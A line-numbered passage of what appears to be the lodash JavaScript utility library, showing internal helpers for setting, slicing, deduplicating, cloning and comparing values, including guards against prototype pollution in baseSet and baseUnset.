4015
4016 /**
4017 * The base implementation of `_.set`.
4018 *
4019 * @private
4020 * @param {Object} object The object to modify.
4021 * @param {Array|string} path The path of the property to set.
4022 * @param {*} value The value to set.
4023 * @param {Function} [customizer] The function to customize path creation.
4024 * @returns {Object} Returns `object`.
4025 */
4026 function baseSet(object, path, value, customizer) {
4027 if (!isObject(object)) {
4028 return object;
4029 }
4030 path = castPath(path, object);
4031
4032 var index = -1,
4033 length = path.length,
4034 lastIndex = length - 1,
4035 nested = object;
4036
4037 while (nested != null && ++index < length) {
4038 var key = toKey(path[index]),
4039 newValue = value;
4040
4041 if (key === '__proto__' || key === 'constructor' || key === 'prototype') {
4042 return object;
4043 }
4044
4045 if (index != lastIndex) {
4046 var objValue = nested[key];
4047 newValue = customizer ? customizer(objValue, key, nested) : undefined;
4048 if (newValue === undefined) {
4049 newValue = isObject(objValue)
4050 ? objValue
4051 : (isIndex(path[index + 1]) ? [] : {});
4052 }
4053 }
4054 assignValue(nested, key, newValue);
4055 nested = nested[key];
4056 }
4057 return object;
4058 }
4059
4060 /**
4061 * The base implementation of `setData` without support for hot loop shorting.
4062 *
4063 * @private
4064 * @param {Function} func The function to associate metadata with.
4065 * @param {*} data The metadata.
4066 * @returns {Function} Returns `func`.
4067 */
4068 var baseSetData = !metaMap ? identity : function(func, data) {
4069 metaMap.set(func, data);
4070 return func;
4071 };
4072
4073 /**
4074 * The base implementation of `setToString` without support for hot loop shorting.
4075 *
4076 * @private
4077 * @param {Function} func The function to modify.
4078 * @param {Function} string The `toString` result.
4079 * @returns {Function} Returns `func`.
4080 */
4081 var baseSetToString = !defineProperty ? identity : function(func, string) {
4082 return defineProperty(func, 'toString', {
4083 'configurable': true,
4084 'enumerable': false,
4085 'value': constant(string),
4086 'writable': true
4087 });
4088 };
4089
4090 /**
4091 * The base implementation of `_.shuffle`.
4092 *
4093 * @private
4094 * @param {Array|Object} collection The collection to shuffle.
4095 * @returns {Array} Returns the new shuffled array.
4096 */
4097 function baseShuffle(collection) {
4098 return shuffleSelf(values(collection));
4099 }
4100
4101 /**
4102 * The base implementation of `_.slice` without an iteratee call guard.
4103 *
4104 * @private
4105 * @param {Array} array The array to slice.
4106 * @param {number} [start=0] The start position.
4107 * @param {number} [end=array.length] The end position.
4108 * @returns {Array} Returns the slice of `array`.
4109 */
4110 function baseSlice(array, start, end) {
4111 var index = -1,
4112 length = array.length;
4113
4114 if (start < 0) {
4115 start = -start > length ? 0 : (length + start);
4116 }
4117 end = end > length ? length : end;
4118 if (end < 0) {
4119 end += length;
4120 }
4121 length = start > end ? 0 : ((end - start) >>> 0);
4122 start >>>= 0;
4123
4124 var result = Array(length);
4125 while (++index < length) {
4126 result[index] = array[index + start];
4127 }
4128 return result;
4129 }
4130
4131 /**
4132 * The base implementation of `_.some` without support for iteratee shorthands.
4133 *
4134 * @private
4135 * @param {Array|Object} collection The collection to iterate over.
4136 * @param {Function} predicate The function invoked per iteration.
4137 * @returns {boolean} Returns `true` if any element passes the predicate check,
4138 * else `false`.
4139 */
4140 function baseSome(collection, predicate) {
4141 var result;
4142
4143 baseEach(collection, function(value, index, collection) {
4144 result = predicate(value, index, collection);
4145 return !result;
4146 });
4147 return !!result;
4148 }
4149
4150 /**
4151 * The base implementation of `_.sortedIndex` and `_.sortedLastIndex` which
4152 * performs a binary search of `array` to determine the index at which `value`
4153 * should be inserted into `array` in order to maintain its sort order.
4154 *
4155 * @private
4156 * @param {Array} array The sorted array to inspect.
4157 * @param {*} value The value to evaluate.
4158 * @param {boolean} [retHighest] Specify returning the highest qualified index.
4159 * @returns {number} Returns the index at which `value` should be inserted
4160 * into `array`.
4161 */
4162 function baseSortedIndex(array, value, retHighest) {
4163 var low = 0,
4164 high = array == null ? low : array.length;
4165
4166 if (typeof value == 'number' && value === value && high <= HALF_MAX_ARRAY_LENGTH) {
4167 while (low < high) {
4168 var mid = (low + high) >>> 1,
4169 computed = array[mid];
4170
4171 if (computed !== null && !isSymbol(computed) &&
4172 (retHighest ? (computed <= value) : (computed < value))) {
4173 low = mid + 1;
4174 } else {
4175 high = mid;
4176 }
4177 }
4178 return high;
4179 }
4180 return baseSortedIndexBy(array, value, identity, retHighest);
4181 }
4182
4183 /**
4184 * The base implementation of `_.sortedIndexBy` and `_.sortedLastIndexBy`
4185 * which invokes `iteratee` for `value` and each element of `array` to compute
4186 * their sort ranking. The iteratee is invoked with one argument; (value).
4187 *
4188 * @private
4189 * @param {Array} array The sorted array to inspect.
4190 * @param {*} value The value to evaluate.
4191 * @param {Function} iteratee The iteratee invoked per element.
4192 * @param {boolean} [retHighest] Specify returning the highest qualified index.
4193 * @returns {number} Returns the index at which `value` should be inserted
4194 * into `array`.
4195 */
4196 function baseSortedIndexBy(array, value, iteratee, retHighest) {
4197 var low = 0,
4198 high = array == null ? 0 : array.length;
4199 if (high === 0) {
4200 return 0;
4201 }
4202
4203 value = iteratee(value);
4204 var valIsNaN = value !== value,
4205 valIsNull = value === null,
4206 valIsSymbol = isSymbol(value),
4207 valIsUndefined = value === undefined;
4208
4209 while (low < high) {
4210 var mid = nativeFloor((low + high) / 2),
4211 computed = iteratee(array[mid]),
4212 othIsDefined = computed !== undefined,
4213 othIsNull = computed === null,
4214 othIsReflexive = computed === computed,
4215 othIsSymbol = isSymbol(computed);
4216
4217 if (valIsNaN) {
4218 var setLow = retHighest || othIsReflexive;
4219 } else if (valIsUndefined) {
4220 setLow = othIsReflexive && (retHighest || othIsDefined);
4221 } else if (valIsNull) {
4222 setLow = othIsReflexive && othIsDefined && (retHighest || !othIsNull);
4223 } else if (valIsSymbol) {
4224 setLow = othIsReflexive && othIsDefined && !othIsNull && (retHighest || !othIsSymbol);
4225 } else if (othIsNull || othIsSymbol) {
4226 setLow = false;
4227 } else {
4228 setLow = retHighest ? (computed <= value) : (computed < value);
4229 }
4230 if (setLow) {
4231 low = mid + 1;
4232 } else {
4233 high = mid;
4234 }
4235 }
4236 return nativeMin(high, MAX_ARRAY_INDEX);
4237 }
4238
4239 /**
4240 * The base implementation of `_.sortedUniq` and `_.sortedUniqBy` without
4241 * support for iteratee shorthands.
4242 *
4243 * @private
4244 * @param {Array} array The array to inspect.
4245 * @param {Function} [iteratee] The iteratee invoked per element.
4246 * @returns {Array} Returns the new duplicate free array.
4247 */
4248 function baseSortedUniq(array, iteratee) {
4249 var index = -1,
4250 length = array.length,
4251 resIndex = 0,
4252 result = [];
4253
4254 while (++index < length) {
4255 var value = array[index],
4256 computed = iteratee ? iteratee(value) : value;
4257
4258 if (!index || !eq(computed, seen)) {
4259 var seen = computed;
4260 result[resIndex++] = value === 0 ? 0 : value;
4261 }
4262 }
4263 return result;
4264 }
4265
4266 /**
4267 * The base implementation of `_.toNumber` which doesn't ensure correct
4268 * conversions of binary, hexadecimal, or octal string values.
4269 *
4270 * @private
4271 * @param {*} value The value to process.
4272 * @returns {number} Returns the number.
4273 */
4274 function baseToNumber(value) {
4275 if (typeof value == 'number') {
4276 return value;
4277 }
4278 if (isSymbol(value)) {
4279 return NAN;
4280 }
4281 return +value;
4282 }
4283
4284 /**
4285 * The base implementation of `_.toString` which doesn't convert nullish
4286 * values to empty strings.
4287 *
4288 * @private
4289 * @param {*} value The value to process.
4290 * @returns {string} Returns the string.
4291 */
4292 function baseToString(value) {
4293 // Exit early for strings to avoid a performance hit in some environments.
4294 if (typeof value == 'string') {
4295 return value;
4296 }
4297 if (isArray(value)) {
4298 // Recursively convert values (susceptible to call stack limits).
4299 return arrayMap(value, baseToString) + '';
4300 }
4301 if (isSymbol(value)) {
4302 return symbolToString ? symbolToString.call(value) : '';
4303 }
4304 var result = (value + '');
4305 return (result == '0' && (1 / value) == -INFINITY) ? '-0' : result;
4306 }
4307
4308 /**
4309 * The base implementation of `_.uniqBy` without support for iteratee shorthands.
4310 *
4311 * @private
4312 * @param {Array} array The array to inspect.
4313 * @param {Function} [iteratee] The iteratee invoked per element.
4314 * @param {Function} [comparator] The comparator invoked per element.
4315 * @returns {Array} Returns the new duplicate free array.
4316 */
4317 function baseUniq(array, iteratee, comparator) {
4318 var index = -1,
4319 includes = arrayIncludes,
4320 length = array.length,
4321 isCommon = true,
4322 result = [],
4323 seen = result;
4324
4325 if (comparator) {
4326 isCommon = false;
4327 includes = arrayIncludesWith;
4328 }
4329 else if (length >= LARGE_ARRAY_SIZE) {
4330 var set = iteratee ? null : createSet(array);
4331 if (set) {
4332 return setToArray(set);
4333 }
4334 isCommon = false;
4335 includes = cacheHas;
4336 seen = new SetCache;
4337 }
4338 else {
4339 seen = iteratee ? [] : result;
4340 }
4341 outer:
4342 while (++index < length) {
4343 var value = array[index],
4344 computed = iteratee ? iteratee(value) : value;
4345
4346 value = (comparator || value !== 0) ? value : 0;
4347 if (isCommon && computed === computed) {
4348 var seenIndex = seen.length;
4349 while (seenIndex--) {
4350 if (seen[seenIndex] === computed) {
4351 continue outer;
4352 }
4353 }
4354 if (iteratee) {
4355 seen.push(computed);
4356 }
4357 result.push(value);
4358 }
4359 else if (!includes(seen, computed, comparator)) {
4360 if (seen !== result) {
4361 seen.push(computed);
4362 }
4363 result.push(value);
4364 }
4365 }
4366 return result;
4367 }
4368
4369 /**
4370 * The base implementation of `_.unset`.
4371 *
4372 * @private
4373 * @param {Object} object The object to modify.
4374 * @param {Array|string} path The property path to unset.
4375 * @returns {boolean} Returns `true` if the property is deleted, else `false`.
4376 */
4377 function baseUnset(object, path) {
4378 path = castPath(path, object);
4379
4380 // Prevent prototype pollution:
4381 // https://github.com/lodash/lodash/security/advisories/GHSA-xxjr-mmjv-4gpg
4382 // https://github.com/lodash/lodash/security/advisories/GHSA-f23m-r3pf-42rh
4383 var index = -1,
4384 length = path.length;
4385
4386 if (!length) {
4387 return true;
4388 }
4389
4390 while (++index < length) {
4391 var key = toKey(path[index]);
4392
4393 // Always block "__proto__" anywhere in the path if it's not expected
4394 if (key === '__proto__' && !hasOwnProperty.call(object, '__proto__')) {
4395 return false;
4396 }
4397
4398 // Block constructor/prototype as non-terminal traversal keys to prevent
4399 // escaping the object graph into built-in constructors and prototypes.
4400 if ((key === 'constructor' || key === 'prototype') && index < length - 1) {
4401 return false;
4402 }
4403 }
4404
4405 var obj = parent(object, path);
4406 return obj == null || delete obj[toKey(last(path))];
4407 }
4408
4409 /**
4410 * The base implementation of `_.update`.
4411 *
4412 * @private
4413 * @param {Object} object The object to modify.
4414 * @param {Array|string} path The path of the property to update.
4415 * @param {Function} updater The function to produce the updated value.
4416 * @param {Function} [customizer] The function to customize path creation.
4417 * @returns {Object} Returns `object`.
4418 */
4419 function baseUpdate(object, path, updater, customizer) {
4420 return baseSet(object, path, updater(baseGet(object, path)), customizer);
4421 }
4422
4423 /**
4424 * The base implementation of methods like `_.dropWhile` and `_.takeWhile`
4425 * without support for iteratee shorthands.
4426 *
4427 * @private
4428 * @param {Array} array The array to query.
4429 * @param {Function} predicate The function invoked per iteration.
4430 * @param {boolean} [isDrop] Specify dropping elements instead of taking them.
4431 * @param {boolean} [fromRight] Specify iterating from right to left.
4432 * @returns {Array} Returns the slice of `array`.
4433 */
4434 function baseWhile(array, predicate, isDrop, fromRight) {
4435 var length = array.length,
4436 index = fromRight ? length : -1;
4437
4438 while ((fromRight ? index-- : ++index < length) &&
4439 predicate(array[index], index, array)) {}
4440
4441 return isDrop
4442 ? baseSlice(array, (fromRight ? 0 : index), (fromRight ? index + 1 : length))
4443 : baseSlice(array, (fromRight ? index + 1 : 0), (fromRight ? length : index));
4444 }
4445
4446 /**
4447 * The base implementation of `wrapperValue` which returns the result of
4448 * performing a sequence of actions on the unwrapped `value`, where each
4449 * successive action is supplied the return value of the previous.
4450 *
4451 * @private
4452 * @param {*} value The unwrapped value.
4453 * @param {Array} actions Actions to perform to resolve the unwrapped value.
4454 * @returns {*} Returns the resolved value.
4455 */
4456 function baseWrapperValue(value, actions) {
4457 var result = value;
4458 if (result instanceof LazyWrapper) {
4459 result = result.value();
4460 }
4461 return arrayReduce(actions, function(result, action) {
4462 return action.func.apply(action.thisArg, arrayPush([result], action.args));
4463 }, result);
4464 }
4465
4466 /**
4467 * The base implementation of methods like `_.xor`, without support for
4468 * iteratee shorthands, that accepts an array of arrays to inspect.
4469 *
4470 * @private
4471 * @param {Array} arrays The arrays to inspect.
4472 * @param {Function} [iteratee] The iteratee invoked per element.
4473 * @param {Function} [comparator] The comparator invoked per element.
4474 * @returns {Array} Returns the new array of values.
4475 */
4476 function baseXor(arrays, iteratee, comparator) {
4477 var length = arrays.length;
4478 if (length < 2) {
4479 return length ? baseUniq(arrays[0]) : [];
4480 }
4481 var index = -1,
4482 result = Array(length);
4483
4484 while (++index < length) {
4485 var array = arrays[index],
4486 othIndex = -1;
4487
4488 while (++othIndex < length) {
4489 if (othIndex != index) {
4490 result[index] = baseDifference(result[index] || array, arrays[othIndex], iteratee, comparator);
4491 }
4492 }
4493 }
4494 return baseUniq(baseFlatten(result, 1), iteratee, comparator);
4495 }
4496
4497 /**
4498 * This base implementation of `_.zipObject` which assigns values using `assignFunc`.
4499 *
4500 * @private
4501 * @param {Array} props The property identifiers.
4502 * @param {Array} values The property values.
4503 * @param {Function} assignFunc The function to assign values.
4504 * @returns {Object} Returns the new object.
4505 */
4506 function baseZipObject(props, values, assignFunc) {
4507 var index = -1,
4508 length = props.length,
4509 valsLength = values.length,
4510 result = {};
4511
4512 while (++index < length) {
4513 var value = index < valsLength ? values[index] : undefined;
4514 assignFunc(result, props[index], value);
4515 }
4516 return result;
4517 }
4518
4519 /**
4520 * Casts `value` to an empty array if it's not an array like object.
4521 *
4522 * @private
4523 * @param {*} value The value to inspect.
4524 * @returns {Array|Object} Returns the cast array-like object.
4525 */
4526 function castArrayLikeObject(value) {
4527 return isArrayLikeObject(value) ? value : [];
4528 }
4529
4530 /**
4531 * Casts `value` to `identity` if it's not a function.
4532 *
4533 * @private
4534 * @param {*} value The value to inspect.
4535 * @returns {Function} Returns cast function.
4536 */
4537 function castFunction(value) {
4538 return typeof value == 'function' ? value : identity;
4539 }
4540
4541 /**
4542 * Casts `value` to a path array if it's not one.
4543 *
4544 * @private
4545 * @param {*} value The value to inspect.
4546 * @param {Object} [object] The object to query keys on.
4547 * @returns {Array} Returns the cast property path array.
4548 */
4549 function castPath(value, object) {
4550 if (isArray(value)) {
4551 return value;
4552 }
4553 return isKey(value, object) ? [value] : stringToPath(toString(value));
4554 }
4555
4556 /**
4557 * A `baseRest` alias which can be replaced with `identity` by module
4558 * replacement plugins.
4559 *
4560 * @private
4561 * @type {Function}
4562 * @param {Function} func The function to apply a rest parameter to.
4563 * @returns {Function} Returns the new function.
4564 */
4565 var castRest = baseRest;
4566
4567 /**
4568 * Casts `array` to a slice if it's needed.
4569 *
4570 * @private
4571 * @param {Array} array The array to inspect.
4572 * @param {number} start The start position.
4573 * @param {number} [end=array.length] The end position.
4574 * @returns {Array} Returns the cast slice.
4575 */
4576 function castSlice(array, start, end) {
4577 var length = array.length;
4578 end = end === undefined ? length : end;
4579 return (!start && end >= length) ? array : baseSlice(array, start, end);
4580 }
4581
4582 /**
4583 * A simple wrapper around the global [`clearTimeout`](https://mdn.io/clearTimeout).
4584 *
4585 * @private
4586 * @param {number|Object} id The timer id or timeout object of the timer to clear.
4587 */
4588 var clearTimeout = ctxClearTimeout || function(id) {
4589 return root.clearTimeout(id);
4590 };
4591
4592 /**
4593 * Creates a clone of `buffer`.
4594 *
4595 * @private
4596 * @param {Buffer} buffer The buffer to clone.
4597 * @param {boolean} [isDeep] Specify a deep clone.
4598 * @returns {Buffer} Returns the cloned buffer.
4599 */
4600 function cloneBuffer(buffer, isDeep) {
4601 if (isDeep) {
4602 return buffer.slice();
4603 }
4604 var length = buffer.length,
4605 result = allocUnsafe ? allocUnsafe(length) : new buffer.constructor(length);
4606
4607 buffer.copy(result);
4608 return result;
4609 }
4610
4611 /**
4612 * Creates a clone of `arrayBuffer`.
4613 *
4614 * @private
4615 * @param {ArrayBuffer} arrayBuffer The array buffer to clone.
4616 * @returns {ArrayBuffer} Returns the cloned array buffer.
4617 */
4618 function cloneArrayBuffer(arrayBuffer) {
4619 var result = new arrayBuffer.constructor(arrayBuffer.byteLength);
4620 new Uint8Array(result).set(new Uint8Array(arrayBuffer));
4621 return result;
4622 }
4623
4624 /**
4625 * Creates a clone of `dataView`.
4626 *
4627 * @private
4628 * @param {Object} dataView The data view to clone.
4629 * @param {boolean} [isDeep] Specify a deep clone.
4630 * @returns {Object} Returns the cloned data view.
4631 */
4632 function cloneDataView(dataView, isDeep) {
4633 var buffer = isDeep ? cloneArrayBuffer(dataView.buffer) : dataView.buffer;
4634 return new dataView.constructor(buffer, dataView.byteOffset, dataView.byteLength);
4635 }
4636
4637 /**
4638 * Creates a clone of `regexp`.
4639 *
4640 * @private
4641 * @param {Object} regexp The regexp to clone.
4642 * @returns {Object} Returns the cloned regexp.
4643 */
4644 function cloneRegExp(regexp) {
4645 var result = new regexp.constructor(regexp.source, reFlags.exec(regexp));
4646 result.lastIndex = regexp.lastIndex;
4647 return result;
4648 }
4649
4650 /**
4651 * Creates a clone of the `symbol` object.
4652 *
4653 * @private
4654 * @param {Object} symbol The symbol object to clone.
4655 * @returns {Object} Returns the cloned symbol object.
4656 */
4657 function cloneSymbol(symbol) {
4658 return symbolValueOf ? Object(symbolValueOf.call(symbol)) : {};
4659 }
4660
4661 /**
4662 * Creates a clone of `typedArray`.
4663 *
4664 * @private
4665 * @param {Object} typedArray The typed array to clone.
4666 * @param {boolean} [isDeep] Specify a deep clone.
4667 * @returns {Object} Returns the cloned typed array.
4668 */
4669 function cloneTypedArray(typedArray, isDeep) {
4670 var buffer = isDeep ? cloneArrayBuffer(typedArray.buffer) : typedArray.buffer;
4671 return new typedArray.constructor(buffer, typedArray.byteOffset, typedArray.length);
4672 }
4673
4674 /**
4675 * Compares values to sort them in ascending order.
4676 *
4677 * @private
4678 * @param {*} value The value to compare.
4679 * @param {*} other The other value to compare.
4680 * @returns {number} Returns the sort order indicator for `value`.
4681 */
4682 function compareAscending(value, other) {
4683 if (value !== other) {
4684 var valIsDefined = value !== undefined,
4685 valIsNull = value === null,
4686 valIsReflexive = value === value,
4687 valIsSymbol = isSymbol(value);
4688
4689 var othIsDefined = other !== undefined,
4690 othIsNull = other === null,
4691 othIsReflexive = other === other,
4692 othIsSymbol = isSymbol(other);
4693
4694 if ((!othIsNull && !othIsSymbol && !valIsSymbol && value > other) ||
4695 (valIsSymbol && othIsDefined && othIsReflexive && !othIsNull && !othIsSymbol) ||
4696 (valIsNull && othIsDefined && othIsReflexive) ||
4697 (!valIsDefined && othIsReflexive) ||
4698 !valIsReflexive) {
4699 return 1;
4700 }
4701 if ((!valIsNull && !valIsSymbol && !othIsSymbol && value < other) ||
4702 (othIsSymbol && valIsDefined && valIsReflexive && !valIsNull && !valIsSymbol) ||
4703 (othIsNull && valIsDefined && valIsReflexive) ||
4704 (!othIsDefined && valIsReflexive) ||
4705 !othIsReflexive) {
4706 return -1;
4707 }
4708 }
4709 return 0;
4710 }
4711
4712 /**
4713 * Used by `_.orderBy` to compare multiple properties of a value to another
4714 * and stable sort them.
4715 *
4716 * If `orders` is unspecified, all values are sorted in ascending order. Otherwise,
4717 * specify an order of "desc" for descending or "asc" for ascending sort order
4718 * of corresponding values.
4719 *
4720 * @private
4721 * @param {Object} object The object to compare.
4722 * @param {Object} other The other object to compare.
4723 * @param {boolean[]|string[]} orders The order to sort by for each property.
4724 * @returns {number} Returns the sort order indicator for `object`.
4725 */
4726 function compareMultiple(object, other, orders) {
4727 var index = -1,
4728 objCriteria = object.criteria,
4729 othCriteria = other.criteria,
4730 length = objCriteria.length,
4731 ordersLength = orders.length;
4732
4733 while (++index < length) {
4734 var result = compareAscending(objCriteria[index], othCriteria[index]);
4735 if (result) {
4736 if (index >= ordersLength) {
4737 return result;
4738 }
4739 var order = orders[index];
4740 return result * (order == 'desc' ? -1 : 1);
4741 }
4742 }
4743 // Fixes an `Array#sort` bug in the JS engine embedded in Adobe applications
4744 // that causes it, under certain circumstances, to provide the same value for
4745 // `object` and `other`. See https://github.com/jashkenas/underscore/pull/1247
4746 // for more details.
4747 //
4748 // This also ensures a stable sort in V8 and other engines.
4749 // See https://bugs.chromium.org/p/v8/issues/detail?id=90 for more details.
4750 return object.index - other.index;
4751 }
4752
4753 /**
4754 * Creates an array that is the composition of partially applied arguments,
4755 * placeholders, and provided arguments into a single array of arguments.
4756 *
4757 * @private
4758 * @param {Array} args The provided arguments.
4759 * @param {Array} partials The arguments to prepend to those provided.
4760 * @param {Array} holders The `partials` placeholder indexes.
4761 * @params {boolean} [isCurried] Specify composing for a curried function.
4762 * @returns {Array} Returns the new array of composed arguments.
4763 */
4764 function composeArgs(args, partials, holders, isCurried) {
4765 var argsIndex = -1,
4766 argsLength = args.length,
4767 holdersLength = holders.length,
4768 leftIndex = -1,
4769 leftLength = partials.length,
4770 rangeLength = nativeMax(argsLength - holdersLength, 0),
4771 result = Array(leftLength + rangeLength),
4772 isUncurried = !isCurried;
4773
4774 while (++leftIndex < leftLength) {
4775 result[leftIndex] = partials[leftIndex];
4776 }
4777 while (++argsIndex < holdersLength) {
4778 if (isUncurried || argsIndex < argsLength) {
4779 result[holders[argsIndex]] = args[argsIndex];
4780 }
4781 }
4782 while (rangeLength--) {
4783 result[leftIndex++] = args[argsIndex++];
4784 }
4785 return result;
4786 }
4787
4788 /**
4789 * This function is like `composeArgs` except that the arguments composition
4790 * is tailored for `_.partialRight`.
4791 *
4792 * @private
4793 * @param {Array} args The provided arguments.
4794 * @param {Array} partials The arguments to append to those provided.
4795 * @param {Array} holders The `partials` placeholder indexes.
4796 * @params {boolean} [isCurried] Specify composing for a curried function.
4797 * @returns {Array} Returns the new array of composed arguments.
4798 */
4799 function composeArgsRight(args, partials, holders, isCurried) {
4800 var argsIndex = -1,
4801 argsLength = args.length,
4802 holdersIndex = -1,
4803 holdersLength = holders.length,
4804 rightIndex = -1,
4805 rightLength = partials.length,
4806 rangeLength = nativeMax(argsLength - holdersLength, 0),
4807 result = Array(rangeLength + rightLength),
4808 isUncurried = !isCurried;
4809
4810 while (++argsIndex < rangeLength) {
4811 result[argsIndex] = args[argsIndex];
4812 }
4813 var offset = argsIndex;
4814 while (++rightIndex < rightLength) {
4815 result[offset + rightIndex] = partials[rightIndex];
4816 }
4817 while (++holdersIndex < holdersLength) {
4818 if (isUncurried || argsIndex < argsLength) {
4819 result[offset + holders[holdersIndex]] = args[argsIndex++];
4820 }
4821 }
4822 return result;
4823 }
4824
4825 /**
4826 * Copies the values of `source` to `array`.
4827 *
4828 * @private
4829 * @param {Array} source The array to copy values from.
4830 * @param {Array} [array=[]] The array to copy values to.
4831 * @returns {Array} Returns `array`.
4832 */
4833 function copyArray(source, array) {
4834 var index = -1,
4835 length = source.length;
4836
4837 array || (array = Array(length));
4838 while (++index < length) {
4839 array[index] = source[index];
4840 }
4841 return array;
4842 }
4843
4844 /**
4845 * Copies properties of `source` to `object`.
4846 *
4847 * @private
4848 * @param {Object} source The object to copy properties from.
4849 * @param {Array} props The property identifiers to copy.
4850 * @param {Object} [object={}] The object to copy properties to.
4851 * @param {Function} [customizer] The function to customize copied values.
4852 * @returns {Object} Returns `object`.
4853 */
4854 function copyObject(source, props, object, customizer) {
4855 var isNew = !object;
4856 object || (object = {});
4857
4858 var index = -1,
4859 length = props.length;
4860
4861 while (++index < length) {
4862 var key = props[index];
4863
4864 var newValue = customizer
4865 ? customizer(object[key], source[key], key, object, source)
4866 : undefined;
4867
4868 if (newValue === undefined) {
4869 newValue = source[key];
4870 }
4871 if (isNew) {
4872 baseAssignValue(object, key, newValue);
4873 } else {
4874 assignValue(object, key, newValue);
4875 }
4876 }
4877 return object;
4878 }
4879
4880 /**
4881 * Copies own symbols of `source` to `object`.
4882 *
4883 * @private
4884 * @param {Object} source The object to copy symbols from.
4885 * @param {Object} [object={}] The object to copy symbols to.
4886 * @returns {Object} Returns `object`.
4887 */
4888 function copySymbols(source, object) {
4889 return copyObject(source, getSymbols(source), object);
4890 }
4891
4892 /**
4893 * Copies own and inherited symbols of `source` to `object`.
4894 *
4895 * @private
4896 * @param {Object} source The object to copy symbols from.
4897 * @param {Object} [object={}] The object to copy symbols to.
4898 * @returns {Object} Returns `object`.
4899 */
4900 function copySymbolsIn(source, object) {
4901 return copyObject(source, getSymbolsIn(source), object);
4902 }
4903
4904 /**
4905 * Creates a function like `_.groupBy`.
4906 *
4907 * @private
4908 * @param {Function} setter The function to set accumulator values.
4909 * @param {Function} [initializer] The accumulator object initializer.
4910 * @returns {Function} Returns the new aggregator function.
4911 */
4912 function createAggregator(setter, initializer) {
4913 return function(collection, iteratee) {
4914 var func = isArray(collection) ? arrayAggregator : baseAggregator,
4915 accumulator = initializer ? initializer() : {};
4916
4917 return func(collection, setter, getIteratee(iteratee, 2), accumulator);
4918 };
4919 }
4920
4921 /**
4922 * Creates a function like `_.assign`.
4923 *
4924 * @private
4925 * @param {Function} assigner The function to assign values.
4926 * @returns {Function} Returns the new assigner function.
4927 */
4928 function createAssigner(assigner) {
4929 return baseRest(function(object, sources) {
4930 var index = -1,
4931 length = sources.length,
4932 customizer = length > 1 ? sources[length - 1] : undefined,
4933 guard = length > 2 ? sources[2] : undefined;
4934
4935 customizer = (assigner.length > 3 && typeof customizer == 'function')
4936 ? (length--, customizer)
4937 : undefined;
4938
4939 if (guard && isIterateeCall(sources[0], sources[1], guard)) {
4940 customizer = length < 3 ? undefined : customizer;
4941 length = 1;
4942 }
4943 object = Object(object);
4944 while (++index < length) {
4945 var source = sources[index];
4946 if (source) {
4947 assigner(object, source, index, customizer);
4948 }
4949 }
4950 return object;
4951 });
4952 }
4953
4954 /**
4955 * Creates a `baseEach` or `baseEachRight` function.
4956 *
4957 * @private
4958 * @param {Function} eachFunc The function to iterate over a collection.
4959 * @param {boolean} [fromRight] Specify iterating from right to left.
4960 * @returns {Function} Returns the new base function.
4961 */
4962 function createBaseEach(eachFunc, fromRight) {
4963 return function(collection, iteratee) {
4964 if (collection == null) {
4965 return collection;
4966 }
4967 if (!isArrayLike(collection)) {
4968 return eachFunc(collection, iteratee);
4969 }
4970 var length = collection.length,
4971 index = fromRight ? length : -1,
4972 iterable = Object(collection);
4973
4974 while ((fromRight ? index-- : ++index < length)) {
4975 if (iteratee(iterable[index], index, iterable) === false) {
4976 break;
4977 }
4978 }
4979 return collection;
4980 };
4981 }
4982
4983 /**
4984 * Creates a base function for methods like `_.forIn` and `_.forOwn`.
4985 *
4986 * @private
4987 * @param {boolean} [fromRight] Specify iterating from right to left.
4988 * @returns {Function} Returns the new base function.
4989 */
4990 function createBaseFor(fromRight) {
4991 return function(object, iteratee, keysFunc) {
4992 var index = -1,
4993 iterable = Object(object),
4994 props = keysFunc(object),
4995 length = props.length;
4996
4997 while (length--) {
4998 var key = props[fromRight ? length : ++index];
4999 if (iteratee(iterable[key], key, iterable) === false) {
5000 break;
5001 }
5002 }
5003 return object;
5004 };
5005 }
5006
5007 /**
5008 * Creates a function that wraps `func` to invoke it with the optional `this`
5009 * binding of `thisArg`.
5010 *
5011 * @private
5012 * @param {Function} func The function to wrap.
5013 * @param {number} bitmask The bitmask flags. See `createWrap` for more details.
5014 * @param {*} [thisArg] The `this` binding of `func`.
5015 * @returns {Function} Returns the new wrapped function.
5016 */
5017 function createBind(func, bitmask, thisArg) {
5018 var isBind = bitmask & WRAP_BIND_FLAG,
5019 Ctor = createCtor(func);
5020
5021 function wrapper() {
5022 var fn = (this && this !== root && this instanceof wrapper) ? Ctor : func;
5023 return fn.apply(isBind ? thisArg : this, arguments);
5024 }
5025 return wrapper;
5026 }
5027
5028 /**
5029 * Creates a function like `_.lowerFirst`.
5030 *
5031 * @private
5032 * @param {string} methodName The name of the `String` case method to use.
5033 * @returns {Function} Returns the new case function.
5034 */
5035 function createCaseFirst(methodName) {
5036 return function(string) {
5037 string = toString(string);
5038
5039 var strSymbols = hasUnicode(string)
5040 ? stringToArray(string)
5041 : undefined;
5042
5043 var chr = strSymbols
5044 ? strSymbols[0]
5045 : string.charAt(0);
5046
5047 var trailing = strSymbols
5048 ? castSlice(strSymbols, 1).join('')
5049 : string.slice(1);
5050
5051 return chr[methodName]() + trailing;
5052 };
5053 }
5054
5055 /**
5056 * Creates a function like `_.camelCase`.
5057 *
5058 * @private
5059 * @param {Function} callback The function to combine each word.
5060 * @returns {Function} Returns the new compounder function.
5061 */
5062 function createCompounder(callback) {
5063 return function(string) {
5064 return arrayReduce(words(deburr(string).replace(reApos, '')), callback, '');
5065 };
5066 }
5067
5068 /**
5069 * Creates a function that produces an instance of `Ctor` regardless of
5070 * whether it was invoked as part of a `new` expression or by `call` or `apply`.
5071 *
5072 * @private
5073 * @param {Function} Ctor The constructor to wrap.
5074 * @returns {Function} Returns the new wrapped function.
5075 */
5076 function createCtor(Ctor) {
5077 return function() {
5078 // Use a `switch` statement to work with class constructors. See
5079 // http://ecma-international.org/ecma-262/7.0/#sec-ecmascript-function-objects-call-thisargument-argumentslist
5080 // for more details.
5081 var args = arguments;
5082 switch (args.length) {
5083 case 0: return new Ctor;
5084 case 1: return new Ctor(args[0]);
5085 case 2: return new Ctor(args[0], args[1]);
5086 case 3: return new Ctor(args[0], args[1], args[2]);
5087 case 4: return new Ctor(args[0], args[1], args[2], args[3]);
5088 case 5: return new Ctor(args[0], args[1], args[2], args[3], args[4]);
5089 case 6: return new Ctor(args[0], args[1], args[2], args[3], args[4], args[5]);
5090 case 7: return new Ctor(args[0], args[1], args[2], args[3], args[4], args[5], args[6]);
5091 }
5092 var thisBinding = baseCreate(Ctor.prototype),
5093 result = Ctor.apply(thisBinding, args);
5094
